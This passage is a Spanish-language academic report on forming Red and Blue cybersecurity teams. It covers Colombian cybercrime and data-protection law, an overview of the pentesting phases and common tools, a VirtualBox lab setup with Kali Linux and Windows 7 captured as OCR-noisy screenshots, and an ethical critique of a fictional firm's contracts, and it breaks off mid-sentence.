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Resumen
El presente trabajo profundiza en las competencias tecnoldgicas, normativas y administrativas
requeridas para la creacion y operacion de los grupos de trabajo estratégicos en defensa y ataque
en entornos de seguridad digital, comunmente referidos como Red Team y Blue Team en el
contexto de la seguridad informatica organizacional. Se realiza un estudio exhaustivo de la
normativa colombiana actual relacionada con los crimenes cibernéticos y la seguridad de la
informacion personal, abordando normativas clave como la Ley 1273 de 2009, la Ley 1581 de
2012 y el Decreto 333 de 2022, que conforman la base normativa destinada a la proteccion de la
informacidn y la respuesta ante incidentes cibernéticos. Asimismo, se describen las metodologias
y fases de las pruebas de penetracion (pentesting), incluyendo los enfoques de caja blanca, negra
y gris, y se examinan herramientas ampliamente utilizadas como Metasploit, Nmap, OpenVAS y
Cobalt Strike. A través del desarrollo de escenarios practicos, se simulan ataques y defensas que
evidencian la importancia de la colaboracion entre los equipos Red Team encargados de
identificar vulnerabilidades mediante técnicas ofensivas y Blue Team responsables de la defensa,
deteccidn y contencién ante amenazas.

Se destaca ademas la importancia de una actuacion ética y legal, la documentacion de
incidentes, la mejora continua de las estrategias de ciberseguridad, y la necesidad de adoptar
controles técnicos y administrativos eficaces. Finalmente, se plantean recomendaciones con el
fin de reforzar la proteccion informética organizacional mediante la gestion proactiva de
vulnerabilidades, la capacitacidn constante del talento humano y el cumplimiento normativo,
factores esenciales para enfrentar los desafios actuales en el &mbito digital.

Palabras clave: Blue Team, Ciberseguridad, Legislacion Colombiana, Red Team,

Pentesting.



Abstract
This paper delves into the technological, regulatory, and administrative competencies required
for the creation and operation of strategic defense and attack working groups in digital security
environments, commonly referred to as Red Teams and Blue Teams in the context of
organizational cybersecurity. It conducts a comprehensive study of current Colombian
regulations related to cybercrime and personal information security, addressing key regulations
such as Law 1273 of 2009, Law 1581 of 2012, and Decree 333 of 2022, which constitute the
regulatory framework for information protection and cyber incident response.
It also describes the methodologies and phases of penetration testing (pentesting), including
white-box, black-box, and gray-box approaches, and examines widely used tools such as
Metasploit, Nmap, OpenVAS, and Cobalt Strike. Through the development of practical
scenarios, attacks and defenses are simulated, highlighting the importance of collaboration
between the Red Team, responsible for identifying vulnerabilities using offensive techniques,
and the Blue Team, responsible for defense, detection, and containment of threats.

The importance of ethical and legal conduct, incident documentation, continuous
improvement of cybersecurity strategies, and the need to adopt effective technical and
administrative controls are also highlighted. Finally, recommendations are made to strengthen
organizational cybersecurity protection through proactive vulnerability management, ongoing
training of human talent, and regulatory compliance all essential factors for addressing current
challenges in the digital world.

Keywords: Blue Team, Colombian legislation, Cybersecurity, Pentesting, Red Team.
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Glosario
Activo informatico: Se refiere a cualquier elemento, dispositivo o dato presente en el entorno
tecnoldgico que respalda procesos relacionados con la produccion de informacion.
Acuerdo de Confidencialidad: Es un convenio legal mediante el cual las partes involucradas se
obligan a mantener en reserva la informacion confidencial que se les ha entregado.
Amenaza: Es toda actividad que aprovecha una debilidad con la intencién de afectar la
integridad de un sistema informatico, lo cual puede ocasionar impactos adversos en sus
elementos.
Blue Team: Es el equipo de especialistas en ciberseguridad responsable de resguardar a una
entidad ante eventuales amenazas o agresiones digitales, actuando de forma proactiva para
prevenir, detectar y mitigar amenazas.
Ciberataque: Es una accion maliciosa que puede ser llevada a cabo por grupos altamente
especializados de hackers, en ocasiones respaldados por gobiernos. Su propésito fundamental es
aprovechar fallos desconocidos en el software para conseguir acceso indebido, sustraer datos
confidenciales y perjudicar infraestructuras esenciales.
Ciberseguridad: Hace referencia al conjunto de procedimientos, estrategias y procesos
disefiados para proteger a los usuarios y sus datos cuando intercambian informacion a través de
sistemas informaticos y redes, garantizando la integridad, confidencialidad y disponibilidad de la
informacion en Internet.
Copnia: Es el organismo nacional de ingenieria encargado de supervisar, regular, inspeccionar y
garantizar el adecuado ejercicio de la ingenieria en Colombia. Mediante esta entidad se gestiona
la expedicion de la tarjeta profesional de ingeniero y se promueve el cddigo de ética que los

profesionales deben acatar.
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Etica Profesional: Conjunto de principios, valores y conductas apropiadas que deben guiar el
actuar de los especialistas en el desempefio de sus labores.

Exploit: Se refiere a la accion mediante la cual se ejecuta un metodo o técnica para atacar un
sistema, aprovechando errores o vulnerabilidades detectadas con el proposito de conseguir
ingreso indebido.

Hardening: También conocido como endurecimiento informatico, es el proceso mediante el cual
se minimizan las vulnerabilidades de un sistema. Esto se logra aplicando una serie de medidas de
seguridad disefiadas para fortalecer la infraestructura tecnoldgica y asi estar mejor preparados
frente a posibles ciberataques.

Intrusion: Es la entrada o acceso indebido y sin autorizacion a sistemas informaticos, redes,
dispositivos o informacion, realizado por personas o entidades que no cuentan con permiso para
hacerlo

Payload: Es el componente de un ataque cibernético o de un software malicioso (como virus,
troyanos o malware) encargado de ejecutar una conducta perjudicial particular después de que el
sistema afectado ha sido comprometido o comprometido.

Red Team: Se trata de un servicio especializado en proteccion cuyo ambito es
significativamente mas extenso y detallado en comparacion con una prueba de penetracion
tradicional. Este tipo de evaluacidn no suele tener restricciones estrictas de tiempo,
infraestructura o aplicaciones a analizar.

Vulnerabilidad: Es una falla o punto débil presente en un sistema computacional, red,
programa, equipo o ajuste, que puede ser explotada por un atacante para comprometer la

proteccién del sistema afectado.
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Introduccion
La proteccidon de los activos digitales ha pasado a ser un tema prioritario indispensable para las
instituciones contemporaneas, que deben enfrentar un entorno de amenazas cibernéticas cada vez
mas complejo y cambiante. En este escenario, la especializacion y la coordinacion entre los
equipos Red Team y Blue Team constituyen una estrategia clave para anticipar, identificar y
reaccionar de manera efectiva ante incidentes de seguridad informatica.

Este estudio examina en profundidad las habilidades técnicas, legales y de gestion
indispensables para la creacion y el funcionamiento de estos equipos estratégicos, cubriendo
desde el marco legal colombiano incluyendo normativas sobre delitos informaticos y proteccion
de datos personales hasta la implementacion practica de metodologias de pruebas de penetracion,
abarcando los distintos tipos de pruebas, las fases del proceso y el uso de herramientas
especializadas como Metasploit, Nmap y OpenVAS. Se presentan andlisis de casos reales de
ataques y defensas, explicando la planificacién, ejecucién, documentacion y respuesta técnica
frente a situaciones criticas.

Ademas, se subraya la relevancia de actuar con ética y conforme a la ley, manteniendo la
confidencialidad y la responsabilidad profesional, sustentandose en codigos éticos y acuerdos de
confidencialidad. EI documento propone también recomendaciones para reforzar la seguridad
dentro de las organizaciones, tales como la actualizacion constante de sistemas, la segmentacién
de redes, la implementacion de controles de acceso, el monitoreo continuo y la capacitacién

permanente del personal.
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Justificacion
El rapido desarrollo tecnoldgico y la creciente dependencia de los sistemas informaticos han
aumentado la vulnerabilidad de las organizaciones frente a amenazas cibernéticas cada vez mas
avanzadas y complejas. En este escenario, la proteccion de la informacién y la garantia de la
continuidad de los procesos criticos demandan no solo tecnologias robustas, sino también
equipos humanos capacitados y organizados de manera estratégica. La formacion de los equipos
Red Team y Blue Team surge como una solucion para que las organizaciones puedan anticipar,
detectar y reducir riesgos mediante la simulacion de ataques reales y la implementacion de
defensas efectivas.

Este estudio resulta relevante porque integra el analisis de las habilidades tecnolégicas,
normativas y administrativas requeridas para la operacién de estos equipos, ademas de incluir la
aplicacién de metodologias de pruebas de penetracion, el empleo de recursos técnicos
especializados y la gestion de incidentes de seguridad. También se fundamenta en el marco
regulatorio colombiano, abordando las leyes y decretos principales con el propdsito de
salvaguardar los datos personales y prevenir los delitos digitales, garantizando asi que las
practicas recomendadas sean éticas y cumplan con la legalidad.

La importancia del trabajo radica, igualmente, en la incorporacién de escenarios practicos
que permiten comprender la dindmica real entre los equipos Red Team y Blue Team, y en la
presentacion de recomendaciones orientadas a reforzar la posicion de proteccién de las
entidades. Por ultimo, se fomenta una cultura de mejora continua, capacitacién permanente y
colaboracion interdisciplinaria, elementos indispensables para afrontar los desafios actuales y

venideros en el ambito de la seguridad informaética.
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Objetivos

Objetivo General

Analizar las competencias tecnologicas, normativas y administrativas necesarias para la
creacion y funcionamiento eficiente de los equipos Red Team y Blue Team en el contexto de la
ciberseguridad, de acuerdo con la legislacion colombiana y las buenas practicas actuales.
Objetivos Especificos

Reconocer el marco normativo colombiano actual en materia de crimenes informaticos y
resguardo de datos personales, aplicable al accionar de los equipos Red Team y Blue Team.

Describir las metodologias, fases y tipos de técnicas de penetracion implementadas por
los equipos Red Team con el propdsito de examinar la solidez de la infraestructura digital.

Analizar las principales herramientas de ciberseguridad empleadas tanto en actividades
ofensivas como defensivas dentro de los equipos Red Team y Blue Team.

Evaluar la importancia de la actuacion ética, la confidencialidad y el cumplimiento

normativo en el desarrollo de pruebas y respuestas a incidentes de seguridad.
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Desarrollo del Informe
Etapa 1 - Conceptos Equipos de Seguridad
Delitos Informaticos y Proteccion de Datos Personales

En Colombia, la normativa en torno a delitos digitales y la salvaguarda de datos sensibles
ha avanzado significativamente, adaptandose a los desafios del entorno digital. Para ello, se han
promulgado diversas leyes y decretos que buscan proteger la informacion, prevenir delitos
informaticos y garantizar los derechos de los ciudadanos en cuanto a privacidad y manejo de
datos (Remolina-Angarita, 2021).

Legislacion Vigente en Delitos Informaticos
Las leyes informaticas que rigen en Colombia son:

La Ley 1273 de 2009 modifica el Cédigo Penal colombiano para penalizar los delitos
informaticos, tales como el ingreso indebido a sistemas, la interceptacion de comunicaciones, la
alteracion de datos y la utilizacion de programas maliciosos, imponiendo sanciones que pueden
alcanzar hasta 10 afios de prision y multas econdmicas, ademas de penalizar la vulneracion de
datos personales (Congreso de Colombia, 2009). Por su parte, la Ley 1341 de 2009 establece las
disposiciones para la gestion y evolucion de las tecnologias de la informacién y las
comunicaciones (TIC) en Colombia, garantizando el acceso equitativo a Internet, promoviendo
su masificacion con seguridad digital, estableciendo principios para garantizar la
confidencialidad de la informacion personal y la defensa frente a amenazas digitales, asi como
modernizando el sector de telecomunicaciones (Congreso de Colombia, 2009). La Ley 1928 de
2019 adopta el Convenio de Budapest, adaptando la legislacion nacional a estandares
internacionales para facilitar la cooperacion judicial y policial entre paises en la investigacién de

ciberdelitos y permitiendo la colaboracion con organismos internacionales para combatir la
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cibercriminalidad (Congreso de Colombia, 2019). Finalmente, el Decreto 333 de 2022 establece
la Estrategia Nacional de Ciberseguridad, definiendo estrategias para proteger la infraestructura
digital nacional, fomentando la cooperacién publico-privada para gestionar amenazas
cibernéticas y reforzando la capacidad estatal con el fin de gestionar incidentes relacionados con
ciberseguridad (Presidencia de la Republica de Colombia, 2022).
Legislacion sobre Proteccion de Datos Personales

La Ley 1581 de 2012 define el marco juridico fundamental para el resguardo de los datos
personales en Colombia, regulando su tratamiento por entidades pablicas y privadas, y
definiendo principios como legalidad, transparencia, confidencialidad y seguridad, ademas de
conceder a los ciudadanos facultades sobre su informacion personal, como actualizacién,
rectificacion y eliminacidn, bajo la supervision de la Superintendencia de Industria y Comercio
(SIC) (Congreso de Colombia, 2012). Complementariamente, el Decreto 1377 de 2013
reglamenta la aplicacion de esta ley, definiendo el procedimiento para conseguir el
consentimiento de las personas duefias de la informacion, regulando la organizacién y el manejo
de los sistemas de almacenamiento de datos por parte de las organizaciones, y estableciendo
directrices para la transferencia internacional de datos personales (Presidencia de la Republica de
Colombia, 2013).

Pruebas de Penetracion o Pentesting

Las pruebas de penetracion, conocidas como pentesting, consisten en procedimientos
estructurados que analizan la proteccion de un sistema, red o aplicacion a través de la
reproduccion controlada de un ataque auténtico. Su propdsito es detectar posibles fallas de
seguridad que podrian ser aprovechadas por atacantes maliciosos, desarrollandose a través de

etapas claramente definidas (Acosta, 2023).
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Tipos de Pruebas de Penetracion o Pentesting
Pentesting de Caja Blanca

En esta modalidad, el especialista o pentester lleva a cabo un andlisis minucioso y
completo de toda la infraestructura tecnoldgica, ya que cuenta con acceso total a la informacion
relacionada con la seguridad de la organizacion (Hernandez, 2022).
Pentesting de Caja Negra

En esta situacion, el pentester opera sin contar con informacidn previa sobre la entidad,
adoptando el enfoque de un atacante cibernético con la finalidad de detectar fallos o0 puntos
débiles en el sistema.
Pentesting de Caja Gris

En este escenario, el pentester no dispone de datos concretos sobre la informacion o los
dispositivos que seran evaluados, lo cual requiere un mayor compromiso de tiempo y recursos
para identificar el objetivo y exponer las posibles vulnerabilidades (Martinez, 2024).

A continuacion, se describen las etapas del pentesting y se ejemplifican con herramientas
comunes utilizadas en cada fase.
Fases de Pentesting
Planificacién y Reconocimiento

Esta etapa inicial consiste en definir el alcance del pentesting y recopilar informacion
sobre el objetivo, con el fin de comprender el entorno y las posibles superficies de ataque
(Reddy, P. A., & Chittoor, R., 2021).

Herramienta Ejemplo: Nmap, ampliamente usada para escanear redes, permite

identificar hosts activos, servicios, sistemas operativos y puertos abiertos.
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Escaneo

En esta fase, se emplea la informacion recolectada para detectar vulnerabilidades
especificas en los sistemas, utilizando técnicas como el escaneo de puertos y la evaluacion de
configuraciones (OpenVAS, 2020).

Herramienta Ejemplo: OpenVAS es un escaner de vulnerabilidades avanzado que
proporciona analisis detallados sobre los sistemas examinados y las brechas de seguridad
encontradas
Explotacion

Durante esta etapa, se busca explotar las debilidades detectadas para ingresar o
comprometer el sistema, con el propdsito de medir el riesgo efectivo. La meta es comprobar si un
atacante lograria acceder sin autorizacion a los sistemas o a la informacion (Metasploit, 2022).

Herramienta Ejemplo: Metasploit es una plataforma que permite automatizar y ejecutar
ataques de prueba, facilitando la explotacion de vulnerabilidades conocidas y demostrando como
podrian ser aprovechadas
Post-Explotacion

Tras explotar un sistema, se recopila informacion adicional del entorno, como datos
sensibles, y se analiza el recorrido del ataque. También se evalla el nivel de acceso logrado y se
intenta establecer persistencia en el sistema comprometido (Cobalt Strike, 2021).

Herramienta Ejemplo: Cobalt Strike permite simular ataques persistentes avanzados,
ayudando a evaluar como actuaria un atacante una vez dentro de la red.

Informe
La fase final del pentesting consiste en elaborar un informe que resuma los hallazgos, las

metodologias utilizadas y las recomendaciones para mitigar las vulnerabilidades detectadas. Este
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documento es esencial para que la organizacion implemente acciones correctivas (Dradis, 2019).

Herramienta Ejemplo: Dradis es una herramienta colaborativa para pentesters que
permite generar informes estructurados basados en los resultados de las pruebas, facilitando la
documentacion y presentacion de los hallazgos.

Herramientas de Ciberseguridad y Servicios en Linea

En el mundo de la ciberseguridad, existen diversas herramientas que ayudan a identificar,
analizar y mitigar vulnerabilidades en sistemas informaticos. A continuacion, se explican algunas
de las méas importantes:
Herramientas de Ciberseguridad
Metasploit

Metasploit es un framework avanzado utilizado en pruebas de penetracion disefiadas para
recrear ataques cibernéticos y analizar la proteccidn de los sistemas. Ofrece una extensa base de
datos de exploits, payloads y modulos auxiliares que permiten detectar y explotar
vulnerabilidades en redes, servidores y aplicaciones (Kennedy et al., 2011).
Nmap

Nmap (Network Mapper) es una herramienta para explorar redes que facilita la
identificacion de dispositivos conectados, identificar puertos abiertos y analizar los servicios
activos en un sistema. Se emplea comunmente en auditorias de seguridad y administracién de
redes, ya que ofrece informacion detallada sobre la estructura y configuracion de una
infraestructura tecnoldgica (Lyon, 2009).
OpenVAS

OpenVAS (Sistema Abierto de Evaluacion de Vulnerabilidades) es una herramienta de

cddigo abierto disefiada para escanear redes y localizar vulnerabilidades, servidores y
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dispositivos. Posee una base de datos en constante actualizacion sobre amenazas emergentes, lo
que la hace esencial para analizar la seguridad de los sistemas y aplicar medidas preventivas y
correctivas anticipadas (Greenbone Networks, 2023).

Servicios en Linea

ExploitDB

ExploitDB (Exploit Database) es un repositorio en linea que retne exploits pablicos,
fragmentos de cddigo disefiados para aprovechar vulnerabilidades en software y sistemas
operativos. Su proposito es ofrecer informacion a investigadores y profesionales de
ciberseguridad para entender el funcionamiento de los ataques y adoptar medidas preventivas
(Offensive Security, 2023).

CVE (Common Vulnerabilities and Exposures)

CVE consiste en una base de datos publica que retune vulnerabilidades de seguridad
encontradas en software y hardware, asignando a cada una un identificador Unico para su
seguimiento y referencia (por ejemplo, CVE-2024-12345) que facilita su rastreo y mitigacion
(MITRE, 2023).

Banco de Trabajo Anexo 1 — Escenario 1

A. Descargar la herramienta virtualizadora “VirtualBox” en su tltima version
Figura 1. Acceso a P4gina Oficial de VirtualBox.
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Fuente: Elaboracion Propia.
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La Figura 1 muestra la pagina oficial de VirtualBox. En esta captura se puede observar la
interfaz web del sitio oficial de Oracle VirtualBox.

Figura 2. Descarga de VirtualBox.
€ = C % virtualbox.org/wiki/Downloads b4 & & o O % 0 & & g | ";2 o
98 | [ Clasesdelava 5.8 FortiPortal [ VPN FORTICLENT-.. [ Control deEdicién.. [ RELACION DECOM.. [ SOLICITUD DE USU.. Sulic\tude. Historial de descargas recientes ® -marcadc

18 VirtualBox Home  Download  DO¢ g virlualBox-7.16-167084-Win.exe j
117 MB + Hace 2 minutos

Fuente: Elaboracion Propia

La Figura 2 muestra la descarga de VirtualBox. Esta imagen captura el proceso de

descarga del instalador de VirtualBox.

Figura 3. Instalacion de VirtualBox.

B Oracle VirtualBox 7.1.6 Setup

Welcome to the Oracle
VirtualBox 7.1.6 Setup Wizard

The Setup Wizard will install Orade VirtualBox 7. 1.6 on wour
computer. Click Mext to continue or Cancel to exit the Setup
Wizard.

Fuente: Elaboracién Propia

La Figura 3 muestra la instalacion de VirtualBox. Esta captura muestra una de las
ventanas del asistente de instalacion de VirtualBox.

Figura 4. Version del VirtualBox Instalado.

% s =
HHH Herramientas LES ==> .
Nueva Afadir Configuracién Descartar Inicisr

- Nueve grupo
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N @) Apagada

= Virtual

Fuente: Elaboracion Propia
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La Figura 4 muestra la version de VirtualBox instalado.

B. Montaje del Banco de Trabajo, las Imagenes en Formato. OVA

Figura 5. Descarga de imagen 1SO Kali Linux.

; 1 [ =] =1 Administrar Descargas
Inicio Compartir Vista Herramientas de imagen de disco
“« ~ 4 B » Este equipo » Descargas
# Acceso rapide S e e s e iy
* Descargas 1] kali-linux-2024.3a-installer-purple-amd&d 9/
Fuente: Elaboracion Propia
La Figura 5 muestra la descarga de imagen 1SO Kali Linux.
Figura 6. Montaje de 1SO Kali Linux en VirtualBox.
i — o= 2 | (o) (@l | £% &b
TS5 Crear maquina virtual — [m] >

Nombre: [KALIAIR <]
Carpeta: ||| C\Users\TELEMEDICINA\VirtualBox VMs ~]
Imagen 150: | [£] Cr\Users\TELEMEDICINA\Downloadskali-linux-2024.3a- installer-purple-amded.iso @ |
‘ Edicien:

=T (=g Tipo: [Ling: gl ~
Subtype: | Ubuntu ~
Version: | Ubuntu (84-bit) ~

Omitir instalacién desatendida

Fuente: Elaboracion Propia

La Figura 6 muestra el montaje de ISO Kali Linux en VirtualBox, muestra el proceso de
configuracion inicial para crear una nueva maquina virtual destinada a Kali Linux, donde se
selecciona la imagen ISO previamente descargada como medio de instalacion.

Figura 7. Maquina Virtual Kali Creada.
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Fuente: Elaboracion Propia.
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La Figura 7 muestra la maquina virtual Kali creada. Esta figura muestra la interfaz
principal de VirtualBox con la nueva maquina virtual de Kali Linux ya configurada y lista para

ser iniciada.

Figura 8. Montaje de 1SO Kali Linux en MV VirtualBox.

v
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KALUAIR
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=] Previsualizacion

Kali Linux installer menu (BIOS mode)
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Ninguno
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ﬂ £ Buscar i £ > Troarl. AT ®aE® S Junn B

Fuente: Elaboracion Propia

La Figura 8 detalla el montaje de ISO Kali Linux en VM VirtualBox.

Figura 9. Entorno inicial de Kali Linux.

=]

<ALl

PURPLE

Fuente: Elaboracién Propia

La Figura 9 muestra el entorno inicial de Kali Linux. Esta imagen presenta el escritorio
o pantalla de inicio de Kali Linux ya instalado y en funcionamiento, mostrando su interfaz

gréafica.
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Figura 10. Descarga de la OVA de Windows 7.
# ' ¥ = | Descargas

Inicio Compartir Vista

« v 4 &> Este equipo » Descargas

7t Acceso rapido Mombre Fecha de modificaci
; Descargas v hoy (1)
I Escritorio \# Win7-SE2020-X64

5/04/2025 2:19 p. m.

Fuente: Elaboracion Propia

La Figura 10 documenta la descarga de la OVA de Windows 7. Esta captura muestra el

proceso de obtencion del archivo OVA (Open Virtualization Archive) que contiene una maquina

virtual preconfigurada con Windows 7.

Figura 11. Importacién de la OVA de Windows 7 en VB.
i

i — L ap 2 .

Nuevs Afiadit Configuracién Descartar Iniciar
& i = T =
5
'
Fuente: |Sistema de archivos local v
Archivo: [EMEDICINA\Downloads\Win7-5E2020-X64.0va| [2]
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[£] Documen tos Rejjeto_123456
I Escritorio ~ al principio de este afio (6)
=limagenes nvm-ninstall v
Nombre: | | Open Virtualization Format (.0
Fuente: Elaboracién Propia
La Figura 11 muestra la importacion de la OVA de Windows 7 en VB. Esta imagen
muestra el inicio del proceso de importacion del archivo OVA en VirtualBox.
Figura 12. Proceso de Importacion de OVA Windows 7 en VB.
15 Oracle VirtualBox Administrador - X
Archivo  Maquina  Ayuda

(= = =]
1

v AR Qe ; 14

. i
Bﬁg Herramientas yf =
Preferencias  Importar Exportar  Nueva  Afadir

Importando servicio virtualizado.., &
KALLAIR {Bienvenido a VirtualBox! I
Al O Apagada

%
La parte izquierda de esta ventana contiene hemamientas globales y una lista de todas las maquinas virtuales y grupos de maquinas virtual

Fuente: Elaboracién Propia
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La Figura 12 muestra el proceso de importacién de OVA Windows 7 en VB.

Figura 13. Entorno Inicial de la MV de Windows 7.

Fuente: Elaboracion Propia.
La Figura 13 muestra el entorno inicial de la MV de Windows 7.
C. Validar que Exista Comunicacion entre cada una de las Maquinas Windows con la

Maquina de Kali Linux.

Figura 14. Ejecucién de comando ipcofig en Windows 7.

[ol@]=]

.
) 08:29 a.m.
W O8 070472005 ||
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Fuente: Elaboracion Propia.
La Figura 14 muestra la ejecucién del comando ipconfig en Windows 7. Aqui se muestra
una ventana de simbolo del sistema (CMD) en Windows 7 donde se ha ejecutado el comando

"ipconfig", mostrando la configuracién de red de la maquina.
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Figura 15. Ejecucion de Comando ifconfig en Kali Linux.

==}

= kalijair@KALUAIR: ~ Q

0

kalijair® KALIJAIR -~

$
etho: flags=4163<UP,BROADCAST,RUNNING, MULTICAST> mtu 1500
inet NO2UAGENSONSS] netmask 255.255.255.0 broadcast 192.168.30.255

inet6 fe80::a00:27ff:fe00:f0le prefixlen 64 scopeid 0x20<link>
ether 08:00:27:00:f0:1e txqueuelen 1000 (Ethernet)

RX packets 948 bytes 312224 (304.9 KiB)

RX errors © dropped © overruns © frame 0

TX packets 343 bytes 202066 (197.3 KiB)

TX errors © dropped @ overruns @ carrier @ collisions ©

lo: flags=73<UP, LOOPBACK, RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 24 bytes 1440 (1.4 KiB)
RX errors © dropped @ overruns 0 frame 0
TX packets 24 bytes 1440 (1.4 KiB)
TX errors © dropped © overruns © carrier @ collisions ©

Fuente: Elaboracion Propia.

La Figura 15 muestra la ejecucion de comando ifconfig en Kali Linux. Esta figura
muestra una terminal en Kali Linux donde se ha ejecutado el comando "ifconfig"”, equivalente a
"ipconfig" en sistemas Unix/Linux, mostrando la configuracion de red de esta maquina virtual.

Figura 16. Ping desde MV Windows hacia Kali Linux.
-

E¥ Administrador CAWindows\system32\cmd. exe

C:~Users~usuario>ping 1%2_168_328.55

Haciendo ping a 122_168B_.38.55 con 32 bytes de datos:
Respuesta d d 1?2 .168.380.55: byvyte 32 tiempo=1msz TTL=64
192 .168.38.55: 32 tiempo<im TTL=6<4

192 _168.38.55= 32 tiempo<im TIL=6G4
192 _.168.38.55: 32 tiempo<im TTL=64

Estadisticas de ping para 192.168.38.55:
Paguetes: enviados = 4, recibidos = 4. perdidos
Tiempos apl-nximadl;s de ida y vuelta en milisegundos:
inimo = Bms. Maximo = 1ms. Media = Bms

C:~Users-usuario>

Fuente: Elaboracién Propia

La Figura 16 muestra un ping desde MV Windows hacia Kali Linux, confirmando
conexion entre ellas.

Figura 17. Ping desde MV Kali Linux hacia Windows.

]

Apps  Places
& 5 o

n kalijair@KALUAIR: ~

kalijair® KALIJAIR -
192.168.30.20
PING 192.168.30.20 (192.168.30.20) 56(84) bytes of data.
bytes from 192.168.30.20: icmp_seq=1 ttl=128 ti
bytes from 192.168.30.20: icmp_seq=2 ttl=128 timi
bytes from 192.168.30.20: icmp_seq=3 tt1=128 time=1.
bytes from 192.168.30.20: icmp_seq=4 ttl=128 time=0.
bytes from 192.168.30.20: icmp_seq=5 tt1=128 time=0.
bytes from 192.168.30.20: icmp_seq=6 ttl=128 time=0.603 ms

Fuente: Elaboracion Propia.
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La Figura 17 muestra un ping desde MV Kali Linux hacia Windows. Esta figura muestra
una terminal en Kali Linux donde se ha ejecutado el comando "ping™ seguido de la direccion IP
de la maquina de Windows 7, confirmando la comunicacién bidireccional entre ambas maquinas
virtuales.

D. Evidenciar con Printscreen el Montaje del Banco de Trabajo y Explicar como se

encuentra Desplegado “Caracteristicas Técnicas de Hardware”.

Archivo  Editar  Ver Ayuda

irct{lllResumen del sistema Elemento walor

Recursos de hardware Sistema operativo Microsoft Windows 7 Professional

Componentes Ve 6.1.7601 Service Pack 1 Compilacién 7601
Entorno de software Descripcion adicional del siste.. Mo disponible
Fabricante del sistema operativo Microsoft Corporation
Mombre del sistema pC202006
Fabricante del sistema innotek GmbH
Modelo del sistema VirtualBox
Tipo de sistema PC basado en x64
Procesador Intel(R) Core(TM) i7-6600U CPU @ 2.60GHz, 2808 Mhz, 1 procesadares princi..
Version y fecha de BIOS innotek GmbH VirtualEox, 01/12/2006
Versién de SMBIOS 25
Directorio de Windows Cawindows
Directorio del sistema Cawindows\system32
Dispositivo de arranque \Device\HarddiskVolume1
Configuracion regional Colombia
Capa de abstraccién de hardw.. Versién = '6.1.7601,17514"
Nombre de usuario PC202008\usuario
Hora est. Pacifico, Sudamérica
ica instalada (RAM)  No disponible
otal 400 GB

Memeria fisica disponible 3,36 GB
Memoria virtual total 800 GB
Memnnria virtial di ;i 722 ce

Buscar esto: Buscar || gerrar bisqueda |

[Tl Buscar sélo la categoria seleccionada  [C] Buscar sé6lo nombres de categoria

=) LT
ﬂpﬂuscar =i

Fuente: Elaboracion Propia.

La Figura 18 muestra las caracteristicas del SO de la MV Windows 7. Esta figura muestra

la ventana de "Propiedades del sistema" de Windows 7, donde se pueden ver detalles técnicos.

Figura 19. Caracteristicas del SO de la MV Kali Linux.

Archivo  Maguina Ver Entrada Dispositivos  Ayuda

— - Apps  Places Apr7 08:53

0O Copy System Details

Hardware Information Software Information

Maodel OS Mame
innotek GmbH VirtualBox Kali GNU/Linux Rolling

Memory OS Type
1.9 GiB B4-bit

Processor GMOME Version
Intel® Core™ i7-6600U 46

Graphics Windowing System
Software Rendering xX11

Disk Capacity Virtualization
21.5GB Oracle

Kernel Version

Linux 6.8.11-amd&4

Fuente: Elaboracion Propia.
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La Figura 29 muestra las caracteristicas del SO de la MV Kali Linux. Se presenta
informacion técnica sobre la instalacion de Kali Linux, mostrando detalles sobre la version del
kernel, recursos asignados y configuracion del sistema.

Explicacion de como esta Desplegado el Banco de Trabajo
El banco de trabajo esta desplegado usando dos maquinas virtuales, Kali Linux y Windows 7,
conectadas mediante una red virtual interna configurada en VirtualBox con un adaptador en
modo "Adaptador puente”. Esto permite que ambas maquinas compartan una subred comun
(192.168.30.0/24), con direcciones IP asignadas que facilitan su comunicacion directa,
comprobada por pruebas de ping exitosas. La topologia implementada es una red plana en
estrella virtual donde VirtualBox actia como un switch central que conecta ambas maquinas,
situdndolas en el mismo segmento de red para simular un entorno controlado de pruebas de
penetracion. Entre las configuraciones especiales, la red esta aislada de la red fisica externa para
seguridad, la maquina Windows 7 se mantiene sin actualizaciones ni parches para simular
vulnerabilidades, su firewall esta desactivado para facilitar el pentesting, y la conectividad
bidireccional se ha verificado para garantizar el funcionamiento éptimo de las herramientas de
escaneo y explotacion.
Etapa 2- Actuacion Eticay Legal
Anexo 2 - Escenario 2

La situacion del Anexo 2 muestra una grave falta de gobernanza y control interno en
CyberFort Technologies, con contratos entregados sin revision adecuada de la alta gerencia, lo
que indica fallas en monitoreo y toma de decisiones. En una organizacion seria, los contratos
deben basarse en politicas claras, éticas y legales, pues la ausencia de estos controles pone en

riesgo la validez legal, la reputacion y la confianza de clientes y reguladores. Ademas, hacer
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pruebas de admision bajo presidn extrema sin garantias laborales genera un ambiente toxico y
viola principios éticos y de respeto al talento humano (OCDE, 2015). El Anexo 2 — Escenario 2
también evidencia indicios de practicas ilegales y poco éticas en la contratacion para los equipos
Red y Blue team
Contratos Elaborados por un Abogado Despedido por Procesos llicitos

El despido de un abogado tras identificar procesos ilicitos genera dudas sobre la legalidad
y ética de los contratos que elabord, sugiriendo que podrian incluir clausulas o practicas
contrarias a la normativa vigente. (UNAD, 2025, Anexo 2).
Falta de Revision de los Contratos por la Alta Gerencia

La falta de revision de contratos por la alta direccion evidencia una negligencia
imprudente que expone a la organizacion a riesgos legales y laborales (UNAD, 2025, Anexo 2).
Clausulas de Confidencialidad sin Modificacion

Entregar contratos sin modificar tras la solicitud de cautela de la gerencia puede resultar
en acuerdos engafiosos o desactualizados que no protegen bien los intereses de la organizacion
(UNAD, 2025, Anexo 2).
Uso de TActicas de Presion en la Contratacion

La organizacion indica que los nuevos reclutas deben trabajar bajo presion y ser
evaluados segun su rapidez, lo que puede fomentar practicas de contratacion que descuidan el
bienestar y la estabilidad laboral, considerandose poco éticas (UNAD, 2025, Anexo 2).
Anexo 3 — Acuerdo de Confidencialidad

El Acuerdo de Confidencialidad del Anexo 3 incluye clausulas que prohiben denunciar
actividades ilegales, exigen confidencialidad ante hechos ilicitos y liberan a la empresa de

responsabilidad legal, lo que contraviene principios éticos y legales al fomentar el encubrimiento
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y limitar la transparencia, priorizando la proteccion de la compafiia sobre el cumplimiento
normativo (UNAD, 2025, Anexo 3).

Sobre el contenido del Anexo 3 — Acuerdo, se pueden sefialar varios factores que podrian
ser clasificados como contrarios a la ley o a la ética:
Prohibicién de Denunciar Actividades llegales

El acuerdo impone a la parte receptora la obligacion de no reportar actividades
